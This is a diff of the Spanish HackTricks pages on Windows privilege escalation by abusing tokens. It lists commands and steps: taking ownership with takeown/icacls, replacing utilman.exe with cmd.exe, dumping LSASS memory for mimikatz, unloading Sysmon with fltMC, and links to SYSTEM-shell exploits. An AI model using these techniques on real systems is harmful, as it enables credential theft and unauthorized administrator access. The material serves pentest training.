[https://www.ired.team/offensive-sec ### SeTakeOwnershipPrivilege -Esto es similar a **SeRestorePrivilege**. Su función principal permite que un proceso **asuma la propiedad de un objeto**, eludiendo el requisito de acceso discrecional explícito a través de la provisión de derechos de acceso WRITE_OWNER. El proceso implica primero asegurar la propiedad de la clave de registro destinada para fines de escritura, y luego alterar el DACL para habilitar las operaciones de escritura. +Esto es similar a **SeRestorePrivilege**. Su función principal permite que un proceso **asuma la propiedad de un objeto**, eludiendo el requisito de acceso discrecional explícito a través de la provisión de derechos de acceso WRITE_OWNER. El proceso implica primero asegurar la propiedad de la clave del registro destinada a fines de escritura, y luego alterar el DACL para habilitar las operaciones de escritura. ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -125,12 +125,12 @@ mimikatz # sekurlsa::logonpasswords ``` #### RCE -Si quieres obtener un shell de `NT SYSTEM`, podrías usar: +Si quieres obtener un shell `NT SYSTEM`, podrías usar: - [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) - [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) -```powershell +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` @@ -143,7 +143,7 @@ Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, de hecho ### Habilitar Todos los tokens Si tienes tokens deshabilitados, puedes usar el script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) para habilitar todos los tokens: -```powershell +```bash .\EnableAllTokenPrivs.ps1 whoami /priv ``` @@ -154,15 +154,15 @@ O el **script** incrustado en este [**post**](https://www.leeholmes.com/adjustin Hoja de trucos de privilegios de token completa en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles. | Privilegio | Impacto | Herramienta | Ruta de ejecución | Observaciones | -| -------------------------- | ----------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros | _"Permitiría a un usuario impersonar tokens y escalar privilegios a nt system usando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_ | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto. | | **`SeBackup`** | **Amenaza** | _**Comandos integrados**_ | Leer archivos sensibles con `robocopy /b` |

- Puede ser más interesante si puedes leer %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (y robocopy) no son útiles cuando se trata de archivos abiertos.

- Robocopy requiere tanto SeBackup como SeRestore para trabajar con el parámetro /b.

| | **`SeCreateToken`** | _**Admin**_ | herramienta de terceros | Crear un token arbitrario que incluya derechos de administrador local con `NtCreateToken`. | | -| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicar el token de `lsass.exe`. | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | herramienta de terceros |

1. Cargar un controlador de kernel con errores como szkg64.sys
2. Explotar la vulnerabilidad del controlador

Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado ftlMC. es decir: fltMC sysmondrv

|

1. La vulnerabilidad de szkg64 está listada como CVE-2018-15732
2. El szkg64 código de explotación fue creado por Parvez Anwar

| -| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.
2. Habilitar el privilegio con Enable-SeRestorePrivilege.
3. Renombrar utilman.exe a utilman.old
4. Renombrar cmd.exe a utilman.exe
5. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algunos software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio

| -| **`SeTakeOwnership`** | _**Admin**_ | _**Comandos integrados**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Renombrar cmd.exe a utilman.exe
4. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algunos software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.

| -| **`SeTcb`** | _**Admin**_ | herramienta de terceros |

Manipular tokens para tener derechos de administrador local incluidos. Puede requerir SeImpersonate.

Por verificar.

| | +| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicar el token de `lsass.exe`. | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeLoadDriver`** | _**Admin**_ | herramienta de terceros |

1. Cargar un controlador de kernel defectuoso como szkg64.sys
2. Explotar la vulnerabilidad del controlador

Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado ftlMC. es decir: fltMC sysmondrv

|

1. La vulnerabilidad de szkg64 está listada como CVE-2018-15732
2. El szkg64 código de explotación fue creado por Parvez Anwar

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.
2. Habilitar el privilegio con Enable-SeRestorePrivilege.
3. Renombrar utilman.exe a utilman.old
4. Renombrar cmd.exe a utilman.exe
5. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algún software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio

| +| **`SeTakeOwnership`** | _**Admin**_ | _**Comandos integrados**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Renombrar cmd.exe a utilman.exe
4. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algún software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.

| +| **`SeTcb`** | _**Admin**_ | herramienta de terceros |

Manipular tokens para incluir derechos de administrador local. Puede requerir SeImpersonate.

Por verificar.

| | ## Referencia diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index 2491fb2cc..48c56a6cb 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -1,4 +1,4 @@ -# Abusing Tokens +# Abuso de Tokens {{#include ../../../banners/hacktricks-training.md}} @@ -27,7 +27,7 @@ Este es un privilegio que posee cualquier proceso que permite la suplantación ( ### SeAssignPrimaryPrivilege Es muy similar a **SeImpersonatePrivilege**, utilizará el **mismo método** para obtener un token privilegiado.\ -Luego, este privilegio permite **asignar un token primario** a un nuevo/proceso suspendido. Con el token de suplantación privilegiado puedes derivar un token primario (DuplicateTokenEx).\ +Luego, este privilegio permite **asignar un token primario** a un proceso nuevo/suspendido. Con el token de suplantación privilegiado puedes derivar un token primario (DuplicateTokenEx).\ Con el token, puedes crear un **nuevo proceso** con 'CreateProcessAsUser' o crear un proceso suspendido y **establecer el token** (en general, no puedes modificar el token primario de un proceso en ejecución). ### SeTcbPrivilege @@ -64,19 +64,19 @@ SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usu ### SeLoadDriverPrivilege -Este privilegio permite **cargar y descargar controladores de dispositivos** con la creación de una entrada en el registro con valores específicos para `ImagePath` y `Type`. Dado que el acceso de escritura directo a `HKLM` (HKEY_LOCAL_MACHINE) está restringido, se debe utilizar `HKCU` (HKEY_CURRENT_USER) en su lugar. Sin embargo, para que `HKCU` sea reconocible por el núcleo para la configuración del controlador, se debe seguir una ruta específica. +Este privilegio permite **cargar y descargar controladores de dispositivos** con la creación de una entrada en el registro con valores específicos para `ImagePath` y `Type`. Dado que el acceso de escritura directo a `HKLM` (HKEY_LOCAL_MACHINE) está restringido, se debe utilizar `HKCU` (HKEY_CURRENT_USER) en su lugar. Sin embargo, para que `HKCU` sea reconocible por el núcleo para la configuración del controlador, se debe seguir un camino específico. -Esta ruta es `\Registry\User\\System\CurrentControlSet\Services\DriverName`, donde `` es el Identificador Relativo del usuario actual. Dentro de `HKCU`, se debe crear toda esta ruta y establecer dos valores: +Este camino es `\Registry\User\\System\CurrentControlSet\Services\DriverName`, donde `` es el Identificador Relativo del usuario actual. Dentro de `HKCU`, se debe crear todo este camino, y se deben establecer dos valores: -- `ImagePath`, que es la ruta al binario que se ejecutará +- `ImagePath`, que es la ruta al binario que se va a ejecutar - `Type`, con un valor de `SERVICE_KERNEL_DRIVER` (`0x00000001`). **Pasos a Seguir:** -1. Accede a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido. -2. Crea la ruta `\Registry\User\\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `` representa el Identificador Relativo del usuario actual. -3. Establece el `ImagePath` a la ruta de ejecución del binario. -4. Asigna el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`). +1. Acceder a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido. +2. Crear el camino `\Registry\User\\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `` representa el Identificador Relativo del usuario actual. +3. Establecer el `ImagePath` a la ruta de ejecución del binario. +4. Asignar el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`). ```python # Example Python code to set the registry values import winreg as reg @@ -92,7 +92,7 @@ Más formas de abusar de este privilegio en [https://www.ired.team/offensive-sec ### SeTakeOwnershipPrivilege -Esto es similar a **SeRestorePrivilege**. Su función principal permite que un proceso **asuma la propiedad de un objeto**, eludiendo el requisito de acceso discrecional explícito a través de la provisión de derechos de acceso WRITE_OWNER. El proceso implica primero asegurar la propiedad de la clave de registro destinada para fines de escritura, y luego alterar el DACL para habilitar las operaciones de escritura. +Esto es similar a **SeRestorePrivilege**. Su función principal permite que un proceso **asuma la propiedad de un objeto**, eludiendo el requisito de acceso discrecional explícito a través de la provisión de derechos de acceso WRITE_OWNER. El proceso implica primero asegurar la propiedad de la clave del registro destinada a fines de escritura, y luego alterar el DACL para habilitar las operaciones de escritura. ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -114,7 +114,7 @@ Este privilegio permite **depurar otros procesos**, incluyendo leer y escribir e #### Dump memory -Puedes usar [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) para **capturar la memoria de un proceso**. Específicamente, esto puede aplicarse al proceso **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, que es responsable de almacenar las credenciales de usuario una vez que un usuario ha iniciado sesión con éxito en un sistema. +Puedes usar [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) o [SharpDump](https://github.com/GhostPack/SharpDump) para **capturar la memoria de un proceso**. Específicamente, esto puede aplicarse al proceso **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, que es responsable de almacenar las credenciales de usuario una vez que un usuario ha iniciado sesión con éxito en un sistema. Luego puedes cargar este volcado en mimikatz para obtener contraseñas: ``` @@ -125,12 +125,12 @@ mimikatz # sekurlsa::logonpasswords ``` #### RCE -Si deseas obtener un shell de `NT SYSTEM`, podrías usar: +Si quieres obtener un shell de `NT SYSTEM`, podrías usar: -- \***\*[**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)\*\*** -- \***\*[**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)\*\*** -- \***\*[**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)\*\*** -```powershell +- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) +- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) +- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` @@ -146,12 +146,12 @@ Además, el proceso descrito en [este artículo de Medium](https://medium.com/@r ``` whoami /priv ``` -Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, en realidad puedes abusar de los tokens _Habilitados_ y _Deshabilitados_. +Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, de hecho, puedes abusar de los tokens _Habilitados_ y _Deshabilitados_. ### Habilitar Todos los tokens Si tienes tokens deshabilitados, puedes usar el script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) para habilitar todos los tokens: -```powershell +```bash .\EnableAllTokenPrivs.ps1 whoami /priv ``` @@ -159,16 +159,16 @@ O el **script** incrustado en este [**post**](https://www.leeholmes.com/adjustin ## Tabla -Hoja de trucos de privilegios de token completa en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles. +Hoja de trucos completa de privilegios de token en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles. | Privilegio | Impacto | Herramienta | Ruta de ejecución | Observaciones | -| -------------------------- | ----------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros | _"Permitiría a un usuario impersonar tokens y escalar privilegios a nt system usando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_ | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto. | +| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros | _"Permitiría a un usuario impersonar tokens y escalar privilegios al sistema nt utilizando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_ | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto. | | **`SeBackup`** | **Amenaza** | _**Comandos integrados**_ | Leer archivos sensibles con `robocopy /b` |

- Puede ser más interesante si puedes leer %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (y robocopy) no son útiles cuando se trata de archivos abiertos.

- Robocopy requiere tanto SeBackup como SeRestore para trabajar con el parámetro /b.

| | **`SeCreateToken`** | _**Admin**_ | herramienta de terceros | Crear un token arbitrario que incluya derechos de administrador local con `NtCreateToken`. | | -| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicar el token de `lsass.exe`. | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | herramienta de terceros |

1. Cargar un controlador de kernel con errores como szkg64.sys
2. Explotar la vulnerabilidad del controlador

Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado ftlMC. es decir: fltMC sysmondrv

|

1. La vulnerabilidad de szkg64 está listada como CVE-2018-15732
2. El szkg64 código de explotación fue creado por Parvez Anwar

| -| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.
2. Habilitar el privilegio con Enable-SeRestorePrivilege.
3. Renombrar utilman.exe a utilman.old
4. Renombrar cmd.exe a utilman.exe
5. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algunos software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.

| +| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicar el token de `lsass.exe`. | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeLoadDriver`** | _**Admin**_ | herramienta de terceros |

1. Cargar un controlador de kernel defectuoso como szkg64.sys
2. Explotar la vulnerabilidad del controlador

Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado ftlMC. es decir: fltMC sysmondrv

|

1. La vulnerabilidad de szkg64 está listada como CVE-2018-15732
2. El szkg64 código de explotación fue creado por Parvez Anwar

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.
2. Habilitar el privilegio con Enable-SeRestorePrivilege.
3. Renombrar utilman.exe a utilman.old
4. Renombrar cmd.exe a utilman.exe
5. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algunos software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio

| | **`SeTakeOwnership`** | _**Admin**_ | _**Comandos integrados**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Renombrar cmd.exe a utilman.exe
4. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algunos software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.

| | **`SeTcb`** | _**Admin**_ | herramienta de terceros |

Manipular tokens para incluir derechos de administrador local. Puede requerir SeImpersonate.

Por verificar.

| | diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index f09729b0d..847d38f13 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden ser utilizados para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`\*\*. Esta [entrada de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede ser utilizada para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona. +> [!WARNING] > **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden ser utilizados para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Esta [entrada de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede ser utilizada para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona. ## Quick Demo